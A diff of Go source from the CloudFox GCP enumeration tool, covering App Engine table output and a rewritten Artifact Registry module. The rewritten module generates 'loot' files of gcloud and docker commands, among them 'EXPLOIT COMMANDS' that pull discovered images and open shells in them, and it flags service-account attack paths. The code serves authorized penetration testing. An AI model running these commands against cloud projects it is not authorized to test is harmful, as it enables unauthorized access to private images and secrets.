// getAllApps returns all apps from all projects
|
||||
func (m *AppEngineModule) getAllApps() []AppEngineApp {
|
||||
var all []AppEngineApp
|
||||
for _, apps := range m.ProjectApps {
|
||||
all = append(all, apps...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// getAllFirewallRules returns all firewall rules from all projects
|
||||
func (m *AppEngineModule) getAllFirewallRules() []AppEngineFirewallRule {
|
||||
var all []AppEngineFirewallRule
|
||||
for _, rules := range m.ProjectFirewallRules {
|
||||
all = append(all, rules...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// getTableHeader returns the main appengine table header
|
||||
func (m *AppEngineModule) getTableHeader() []string {
|
||||
return []string{
|
||||
"Project ID",
|
||||
"Project Name",
|
||||
"App ID",
|
||||
"Location",
|
||||
"Status",
|
||||
"Hostname",
|
||||
"Service",
|
||||
"Version",
|
||||
"Runtime",
|
||||
"Environment",
|
||||
"Ingress",
|
||||
"Public",
|
||||
"Service Account",
|
||||
"SA Attack Paths",
|
||||
"Default SA",
|
||||
"Deprecated",
|
||||
"Env Vars",
|
||||
"Secrets",
|
||||
"VPC Connector",
|
||||
"URL",
|
||||
}
|
||||
}
|
||||
|
||||
// buildTablesForProject builds tables for given project data
|
||||
func (m *AppEngineModule) buildTablesForProject(projectID string, apps []AppEngineApp, versions []AppEngineVersion, firewallRules []AppEngineFirewallRule) []internal.TableFile {
|
||||
var tables []internal.TableFile
|
||||
header := m.getTableHeader()
|
||||
var body [][]string
|
||||
|
||||
if len(versions) > 0 {
|
||||
for _, ver := range versions {
|
||||
var app AppEngineApp
|
||||
for _, a := range apps {
|
||||
if a.ProjectID == ver.ProjectID {
|
||||
app = a
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
publicStr := "No"
|
||||
if ver.Public {
|
||||
publicStr = "Yes"
|
||||
}
|
||||
|
||||
defaultSAStr := "No"
|
||||
if ver.DefaultSA {
|
||||
defaultSAStr = "Yes"
|
||||
}
|
||||
|
||||
deprecatedStr := "No"
|
||||
if ver.DeprecatedRuntime {
|
||||
deprecatedStr = "Yes"
|
||||
}
|
||||
|
||||
// Check attack paths (privesc/exfil/lateral) for the service account
|
||||
attackPaths := "run foxmapper"
|
||||
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
|
||||
if ver.ServiceAccount != "" {
|
||||
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, ver.ServiceAccount)
|
||||
} else {
|
||||
attackPaths = "No"
|
||||
}
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
ver.ProjectID,
|
||||
m.GetProjectName(ver.ProjectID),
|
||||
app.ID,
|
||||
app.LocationID,
|
||||
app.ServingStatus,
|
||||
app.DefaultHostname,
|
||||
ver.ServiceID,
|
||||
ver.ID,
|
||||
ver.Runtime,
|
||||
ver.Environment,
|
||||
ver.IngressSettings,
|
||||
publicStr,
|
||||
ver.ServiceAccount,
|
||||
attackPaths,
|
||||
defaultSAStr,
|
||||
deprecatedStr,
|
||||
fmt.Sprintf("%d", ver.EnvVarCount),
|
||||
fmt.Sprintf("%d", ver.SecretEnvVars),
|
||||
ver.VPCConnector,
|
||||
ver.URL,
|
||||
})
|
||||
|
||||
// Add public services to loot
|
||||
if ver.Public && m.LootMap[projectID] != nil {
|
||||
if lootFile := m.LootMap[projectID]["appengine-commands"]; lootFile != nil {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Public App Engine service: %s/%s\n"+
|
||||
"curl %s\n\n",
|
||||
ver.ServiceID, ver.ID, ver.URL,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for _, app := range apps {
|
||||
body = append(body, []string{
|
||||
app.ProjectID,
|
||||
m.GetProjectName(app.ProjectID),
|
||||
app.ID,
|
||||
app.LocationID,
|
||||
app.ServingStatus,
|
||||
app.DefaultHostname,
|
||||
"No services deployed", // Service
|
||||
"-", // Version
|
||||
"-", // Runtime
|
||||
"-", // Environment
|
||||
"-", // Ingress
|
||||
"-", // Public
|
||||
app.ServiceAccount, // Service Account
|
||||
"-", // SA Attack Paths
|
||||
"-", // Default SA
|
||||
"-", // Deprecated
|
||||
"-", // Env Vars
|
||||
"-", // Secrets
|
||||
"-", // VPC Connector
|
||||
"-", // URL
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "appengine",
|
||||
Header: header,
|
||||
Body: body,
|
||||
})
|
||||
|
||||
// Firewall rules table
|
||||
if len(firewallRules) > 0 {
|
||||
var fwBody [][]string
|
||||
for _, rule := range firewallRules {
|
||||
fwBody = append(fwBody, []string{
|
||||
rule.ProjectID,
|
||||
m.GetProjectName(rule.ProjectID),
|
||||
fmt.Sprintf("%d", rule.Priority),
|
||||
rule.Action,
|
||||
rule.SourceRange,
|
||||
rule.Description,
|
||||
})
|
||||
}
|
||||
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "appengine-firewall",
|
||||
Header: []string{
|
||||
"Project ID",
|
||||
"Project Name",
|
||||
"Priority",
|
||||
"Action",
|
||||
"Source Range",
|
||||
"Description",
|
||||
},
|
||||
Body: fwBody,
|
||||
})
|
||||
}
|
||||
|
||||
return tables
|
||||
}
|
||||
|
||||
// writeHierarchicalOutput writes output to per-project directories
|
||||
func (m *AppEngineModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Collect all projects with data
|
||||
projectsWithData := make(map[string]bool)
|
||||
for projectID := range m.ProjectApps {
|
||||
projectsWithData[projectID] = true
|
||||
}
|
||||
|
||||
for projectID := range projectsWithData {
|
||||
apps := m.ProjectApps[projectID]
|
||||
versions := m.ProjectVersions[projectID]
|
||||
firewallRules := m.ProjectFirewallRules[projectID]
|
||||
|
||||
tables := m.buildTablesForProject(projectID, apps, versions, firewallRules)
|
||||
|
||||
// Collect loot for this project
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = AppEngineOutput{Table: tables, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
pathBuilder,
|
||||
outputData,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), GCP_APPENGINE_MODULE_NAME)
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
}
|
||||
|
||||
// writeFlatOutput writes all output to a single directory (legacy mode)
|
||||
func (m *AppEngineModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allApps := m.getAllApps()
|
||||
allVersions := m.getAllVersions()
|
||||
allFirewallRules := m.getAllFirewallRules()
|
||||
|
||||
// Use empty projectID since we're building for all projects
|
||||
tables := m.buildTablesForProject("", allApps, allVersions, allFirewallRules)
|
||||
|
||||
// Collect all loot files
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := AppEngineOutput{
|
||||
Table: tables,
|
||||
Loot: lootFiles,
|
||||
}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, projectID := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(projectID)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"project",
|
||||
m.ProjectIDs,
|
||||
scopeNames,
|
||||
m.Account,
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), GCP_APPENGINE_MODULE_NAME)
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
}
|
||||
+552
-136
@@ -1,10 +1,14 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
artifactregistry "cloud.google.com/go/artifactregistry/apiv1"
|
||||
ArtifactRegistryService "github.com/BishopFox/cloudfox/gcp/services/artifactRegistryService"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -12,161 +16,573 @@ import (
|
||||
|
||||
var GCPArtifactRegistryCommand = &cobra.Command{
|
||||
Use: globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME,
|
||||
Aliases: []string{},
|
||||
Short: "Display GCP artifact registry information",
|
||||
Args: cobra.MinimumNArgs(0),
|
||||
Long: `
|
||||
Display available artifact registry resource information:
|
||||
cloudfox gcp artfact-registry`,
|
||||
Aliases: []string{"ar", "artifacts", "gcr"},
|
||||
Short: "Enumerate GCP Artifact Registry and Container Registry with security configuration",
|
||||
Long: `Enumerate GCP Artifact Registry and legacy Container Registry (gcr.io) with security-relevant details.
|
||||
|
||||
Features:
|
||||
- Lists all Artifact Registry repositories with security configuration
|
||||
- Shows Docker images and package artifacts with tags and digests
|
||||
- Enumerates IAM policies per repository and identifies public repositories
|
||||
- Shows encryption type (Google-managed vs CMEK)
|
||||
- Shows repository mode (standard, virtual, remote)
|
||||
- Generates gcloud commands for artifact enumeration
|
||||
- Generates exploitation commands for artifact access
|
||||
- Enumerates legacy Container Registry (gcr.io) locations
|
||||
|
||||
Security Columns:
|
||||
- Public: Whether the repository has allUsers or allAuthenticatedUsers access
|
||||
- Encryption: "Google-managed" or "CMEK" (customer-managed keys)
|
||||
- Mode: STANDARD_REPOSITORY, VIRTUAL_REPOSITORY, or REMOTE_REPOSITORY
|
||||
- RegistryType: "artifact-registry" or "container-registry" (legacy gcr.io)`,
|
||||
Run: runGCPArtifactRegistryCommand,
|
||||
}
|
||||
|
||||
// Code needed to output fields from buckets results using generic HandleOutput function
|
||||
// ------------------------------
|
||||
// Module Struct with embedded BaseGCPModule
|
||||
// ------------------------------
|
||||
type ArtifactRegistryModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
// Results struct that implements the internal.OutputInterface
|
||||
type GCPArtifactRegistryResults struct {
|
||||
ArtifactData []ArtifactRegistryService.ArtifactInfo
|
||||
RepositoryData []ArtifactRegistryService.RepositoryInfo
|
||||
// Module-specific fields
|
||||
ProjectArtifacts map[string][]ArtifactRegistryService.ArtifactInfo // projectID -> artifacts
|
||||
ProjectRepositories map[string][]ArtifactRegistryService.RepositoryInfo // projectID -> repos
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
client *artifactregistry.Client
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// Decide what format the name, header and body of the CSV & JSON files will be
|
||||
func (g GCPArtifactRegistryResults) TableFiles() []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
repoHeader := []string{
|
||||
"Name",
|
||||
"Format",
|
||||
"Description",
|
||||
"Size",
|
||||
"Location",
|
||||
"ProjectID",
|
||||
}
|
||||
|
||||
var repoBody [][]string
|
||||
|
||||
for _, value := range g.RepositoryData {
|
||||
repoBody = append(
|
||||
repoBody,
|
||||
[]string{
|
||||
value.Name,
|
||||
value.Format,
|
||||
value.Description,
|
||||
value.SizeBytes,
|
||||
value.Location,
|
||||
value.ProjectID,
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
repoTableFile := internal.TableFile{
|
||||
Header: repoHeader,
|
||||
Body: repoBody,
|
||||
Name: fmt.Sprintf("%s-repos", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
|
||||
}
|
||||
|
||||
tableFiles = append(tableFiles, repoTableFile)
|
||||
|
||||
artifactHeader := []string{
|
||||
"Name",
|
||||
"Format",
|
||||
"Version",
|
||||
"Location",
|
||||
"Repository",
|
||||
"Size",
|
||||
"Updated",
|
||||
"ProjectID",
|
||||
}
|
||||
|
||||
var artifactBody [][]string
|
||||
|
||||
for _, value := range g.ArtifactData {
|
||||
artifactBody = append(
|
||||
artifactBody,
|
||||
[]string{
|
||||
value.Name,
|
||||
value.Format,
|
||||
value.Version,
|
||||
value.Location,
|
||||
value.Repository,
|
||||
value.SizeBytes,
|
||||
value.Updated,
|
||||
value.ProjectID,
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
artifactTableFile := internal.TableFile{
|
||||
Header: artifactHeader,
|
||||
Body: artifactBody,
|
||||
Name: fmt.Sprintf("%s-artifacts", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
|
||||
}
|
||||
|
||||
tableFiles = append(tableFiles, artifactTableFile)
|
||||
|
||||
return tableFiles
|
||||
// ------------------------------
|
||||
// Output Struct implementing CloudfoxOutput interface
|
||||
// ------------------------------
|
||||
type ArtifactRegistryOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
// Decide what is loot based on resource information
|
||||
func (g GCPArtifactRegistryResults) LootFiles() []internal.LootFile {
|
||||
// TODO consider a loot file of the URLs to the all docker image artifacts. Maybe sample commands to pull the images
|
||||
return []internal.LootFile{}
|
||||
}
|
||||
func (o ArtifactRegistryOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o ArtifactRegistryOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// Houses high-level logic that retrieves resources and writes to output
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPArtifactRegistryCommand(cmd *cobra.Command, args []string) {
|
||||
// Retrieve projectIDs from parent (gcp command) ctx
|
||||
var projectIDs []string
|
||||
var account string
|
||||
parentCmd := cmd.Parent()
|
||||
ctx := cmd.Context()
|
||||
logger := internal.NewLogger()
|
||||
if value, ok := ctx.Value("projectIDs").([]string); ok && len(value) > 0 {
|
||||
projectIDs = value
|
||||
} else {
|
||||
logger.ErrorM("Could not retrieve projectIDs from flag value or value is empty", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
}
|
||||
|
||||
if value, ok := ctx.Value("account").(string); ok {
|
||||
account = value
|
||||
} else {
|
||||
logger.ErrorM("Could not retrieve account email from command", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
}
|
||||
|
||||
client, err := artifactregistry.NewClient(ctx)
|
||||
// Initialize command context
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("failed to create secret manager client: %v", err), globals.GCP_SECRETS_MODULE_NAME)
|
||||
return // Error already logged
|
||||
}
|
||||
|
||||
// Create Artifact Registry client
|
||||
client, err := artifactregistry.NewClient(cmdCtx.Ctx)
|
||||
if err != nil {
|
||||
cmdCtx.Logger.ErrorM(fmt.Sprintf("Failed to create Artifact Registry client: %v", err), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
// Get the artifact repositories and artifacts using the projectIDs and ArtifactRegistryService
|
||||
ars := ArtifactRegistryService.New(client)
|
||||
var artifactResults []ArtifactRegistryService.ArtifactInfo
|
||||
var repoRestuls []ArtifactRegistryService.RepositoryInfo
|
||||
// Create module instance
|
||||
module := &ArtifactRegistryModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectArtifacts: make(map[string][]ArtifactRegistryService.ArtifactInfo),
|
||||
ProjectRepositories: make(map[string][]ArtifactRegistryService.RepositoryInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
client: client,
|
||||
}
|
||||
|
||||
// Set output params leveraging parent (gcp) pflag values
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
for _, projectID := range projectIDs {
|
||||
logger.InfoM(fmt.Sprintf("Retrieving all artifact repositories and supported artifacts in all locations from project: %s", projectID), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
result, err := ars.RepositoriesAndArtifacts(projectID)
|
||||
if err != nil {
|
||||
logger.ErrorM(err.Error(), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
return
|
||||
// Execute enumeration
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *ArtifactRegistryModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// Run enumeration with concurrency
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME, m.processProject)
|
||||
|
||||
allRepos := m.getAllRepositories()
|
||||
allArtifacts := m.getAllArtifacts()
|
||||
|
||||
// Check results
|
||||
if len(allRepos) == 0 && len(allArtifacts) == 0 {
|
||||
logger.InfoM("No artifact registries found", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d repository(ies) with %d artifact(s)", len(allRepos), len(allArtifacts)), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
|
||||
// Write output
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// getAllRepositories returns all repositories from all projects
|
||||
func (m *ArtifactRegistryModule) getAllRepositories() []ArtifactRegistryService.RepositoryInfo {
|
||||
var all []ArtifactRegistryService.RepositoryInfo
|
||||
for _, repos := range m.ProjectRepositories {
|
||||
all = append(all, repos...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// getAllArtifacts returns all artifacts from all projects
|
||||
func (m *ArtifactRegistryModule) getAllArtifacts() []ArtifactRegistryService.ArtifactInfo {
|
||||
var all []ArtifactRegistryService.ArtifactInfo
|
||||
for _, artifacts := range m.ProjectArtifacts {
|
||||
all = append(all, artifacts...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor (called concurrently for each project)
|
||||
// ------------------------------
|
||||
func (m *ArtifactRegistryModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating artifact registries in project: %s", projectID), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Create service and fetch data
|
||||
ars := ArtifactRegistryService.New(m.client)
|
||||
result, err := ars.RepositoriesAndArtifacts(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.Error++
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate artifact registries in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
// Thread-safe store per-project
|
||||
m.mu.Lock()
|
||||
m.ProjectRepositories[projectID] = result.Repositories
|
||||
m.ProjectArtifacts[projectID] = result.Artifacts
|
||||
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["artifact-registry-commands"] = &internal.LootFile{
|
||||
Name: "artifact-registry-commands",
|
||||
Contents: "# GCP Artifact Registry Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
|
||||
artifactResults = append(artifactResults, result.Artifacts...)
|
||||
repoRestuls = append(repoRestuls, result.Repositories...)
|
||||
logger.InfoM(fmt.Sprintf("Done retrieving artifact repository resource data from project: %s", projectID), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
cloudfoxOutput := GCPArtifactRegistryResults{ArtifactData: artifactResults, RepositoryData: repoRestuls}
|
||||
// Generate loot for each repository and artifact
|
||||
for _, repo := range result.Repositories {
|
||||
m.addRepositoryToLoot(projectID, repo)
|
||||
}
|
||||
for _, artifact := range result.Artifacts {
|
||||
m.addArtifactToLoot(projectID, artifact)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
err = internal.HandleOutput("gcp", format, outputDirectory, verbosity, wrap, globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME, account, projectID, cloudfoxOutput)
|
||||
if err != nil {
|
||||
logger.ErrorM(err.Error(), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
return
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Found %d repository(ies) and %d artifact(s) in project %s", len(result.Repositories), len(result.Artifacts), projectID), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Loot File Management
|
||||
// ------------------------------
|
||||
func (m *ArtifactRegistryModule) addRepositoryToLoot(projectID string, repo ArtifactRegistryService.RepositoryInfo) {
|
||||
lootFile := m.LootMap[projectID]["artifact-registry-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Extract repo name from full path
|
||||
repoName := repo.Name
|
||||
parts := strings.Split(repo.Name, "/")
|
||||
if len(parts) > 0 {
|
||||
repoName = parts[len(parts)-1]
|
||||
}
|
||||
|
||||
// Handle legacy Container Registry differently
|
||||
if repo.RegistryType == "container-registry" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# LEGACY CONTAINER REGISTRY: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Note: Consider migrating to Artifact Registry\n"+
|
||||
"# Configure Docker authentication:\n"+
|
||||
"gcloud auth configure-docker %s\n"+
|
||||
"# List images:\n"+
|
||||
"gcloud container images list --repository=%s/%s\n"+
|
||||
"# Check for public access (via storage bucket):\n"+
|
||||
"gsutil iam get gs://artifacts.%s.appspot.com\n\n",
|
||||
repo.Name, repo.ProjectID,
|
||||
strings.Split(repo.Name, "/")[0], // gcr.io hostname
|
||||
strings.Split(repo.Name, "/")[0], repo.ProjectID,
|
||||
repo.ProjectID,
|
||||
)
|
||||
return
|
||||
}
|
||||
|
||||
// Repository header and enumeration commands
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# REPOSITORY: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s, Location: %s\n"+
|
||||
"# Format: %s, Mode: %s, Encryption: %s, Public: %s\n\n"+
|
||||
"# === ENUMERATION COMMANDS ===\n\n"+
|
||||
"# Describe repository:\n"+
|
||||
"gcloud artifacts repositories describe %s --project=%s --location=%s\n"+
|
||||
"# Get IAM policy:\n"+
|
||||
"gcloud artifacts repositories get-iam-policy %s --project=%s --location=%s\n",
|
||||
repoName, repo.ProjectID, repo.Location,
|
||||
repo.Format, repo.Mode, repo.EncryptionType, repo.PublicAccess,
|
||||
repoName, repo.ProjectID, repo.Location,
|
||||
repoName, repo.ProjectID, repo.Location,
|
||||
)
|
||||
|
||||
// Docker-specific commands
|
||||
if repo.Format == "DOCKER" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Configure Docker authentication:\n"+
|
||||
"gcloud auth configure-docker %s-docker.pkg.dev\n"+
|
||||
"# List images:\n"+
|
||||
"gcloud artifacts docker images list %s-docker.pkg.dev/%s/%s\n"+
|
||||
"# List vulnerabilities:\n"+
|
||||
"gcloud artifacts docker images list %s-docker.pkg.dev/%s/%s --show-occurrences --occurrence-filter=\"kind=VULNERABILITY\"\n",
|
||||
repo.Location,
|
||||
repo.Location, repo.ProjectID, repoName,
|
||||
repo.Location, repo.ProjectID, repoName,
|
||||
)
|
||||
}
|
||||
|
||||
lootFile.Contents += "\n"
|
||||
}
|
||||
|
||||
func (m *ArtifactRegistryModule) addArtifactToLoot(projectID string, artifact ArtifactRegistryService.ArtifactInfo) {
|
||||
lootFile := m.LootMap[projectID]["artifact-registry-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Exploitation commands for Docker images
|
||||
if artifact.Format == "DOCKER" {
|
||||
imageBase := fmt.Sprintf("%s-docker.pkg.dev/%s/%s/%s",
|
||||
artifact.Location, artifact.ProjectID, artifact.Repository, artifact.Name)
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# DOCKER IMAGE: %s\n"+
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# Project: %s, Repository: %s, Location: %s\n"+
|
||||
"# Digest: %s\n",
|
||||
artifact.Name,
|
||||
artifact.ProjectID,
|
||||
artifact.Repository, artifact.Location,
|
||||
artifact.Digest,
|
||||
)
|
||||
|
||||
lootFile.Contents += "\n# === EXPLOIT COMMANDS ===\n\n"
|
||||
// Generate commands for each tag
|
||||
if len(artifact.Tags) > 0 {
|
||||
for _, tag := range artifact.Tags {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Tag: %s\n"+
|
||||
"docker pull %s:%s\n"+
|
||||
"docker inspect %s:%s\n"+
|
||||
"docker run -it --entrypoint /bin/sh %s:%s\n\n",
|
||||
tag,
|
||||
imageBase, tag,
|
||||
imageBase, tag,
|
||||
imageBase, tag,
|
||||
)
|
||||
}
|
||||
} else {
|
||||
// No tags, use digest
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# No tags - use digest\n"+
|
||||
"docker pull %s@%s\n"+
|
||||
"docker inspect %s@%s\n"+
|
||||
"docker run -it --entrypoint /bin/sh %s@%s\n\n",
|
||||
imageBase, artifact.Digest,
|
||||
imageBase, artifact.Digest,
|
||||
imageBase, artifact.Digest,
|
||||
)
|
||||
}
|
||||
logger.InfoM(fmt.Sprintf("Done writing output for project %s", projectID), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *ArtifactRegistryModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
// Count public repos for finding message
|
||||
publicCount := 0
|
||||
for _, repos := range m.ProjectRepositories {
|
||||
for _, repo := range repos {
|
||||
if repo.IsPublic {
|
||||
publicCount++
|
||||
}
|
||||
}
|
||||
}
|
||||
if publicCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("[FINDING] Found %d publicly accessible repository(ies)!", publicCount), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
}
|
||||
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
// getRepoHeader returns the header for repository table
|
||||
func (m *ArtifactRegistryModule) getRepoHeader() []string {
|
||||
return []string{
|
||||
"Project",
|
||||
"Name",
|
||||
"Format",
|
||||
"Location",
|
||||
"Mode",
|
||||
"Public",
|
||||
"Encryption",
|
||||
"IAM Binding Role",
|
||||
"Principal Type",
|
||||
"IAM Binding Principal",
|
||||
}
|
||||
}
|
||||
|
||||
// getArtifactHeader returns the header for artifact table
|
||||
func (m *ArtifactRegistryModule) getArtifactHeader() []string {
|
||||
return []string{
|
||||
"Project",
|
||||
"Name",
|
||||
"Repository",
|
||||
"Location",
|
||||
"Tags",
|
||||
"Digest",
|
||||
"Size",
|
||||
"Uploaded",
|
||||
}
|
||||
}
|
||||
|
||||
// reposToTableBody converts repositories to table body rows
|
||||
func (m *ArtifactRegistryModule) reposToTableBody(repos []ArtifactRegistryService.RepositoryInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, repo := range repos {
|
||||
// Extract repo name from full path
|
||||
repoName := repo.Name
|
||||
parts := strings.Split(repo.Name, "/")
|
||||
if len(parts) > 0 {
|
||||
repoName = parts[len(parts)-1]
|
||||
}
|
||||
|
||||
// Format public access display
|
||||
publicDisplay := ""
|
||||
if repo.IsPublic {
|
||||
publicDisplay = repo.PublicAccess
|
||||
}
|
||||
|
||||
// Shorten mode for display
|
||||
mode := repo.Mode
|
||||
mode = strings.TrimPrefix(mode, "REPOSITORY_MODE_")
|
||||
mode = strings.TrimSuffix(mode, "_REPOSITORY")
|
||||
|
||||
// One row per IAM member
|
||||
if len(repo.IAMBindings) > 0 {
|
||||
for _, binding := range repo.IAMBindings {
|
||||
for _, member := range binding.Members {
|
||||
memberType := ArtifactRegistryService.GetMemberType(member)
|
||||
body = append(body, []string{
|
||||
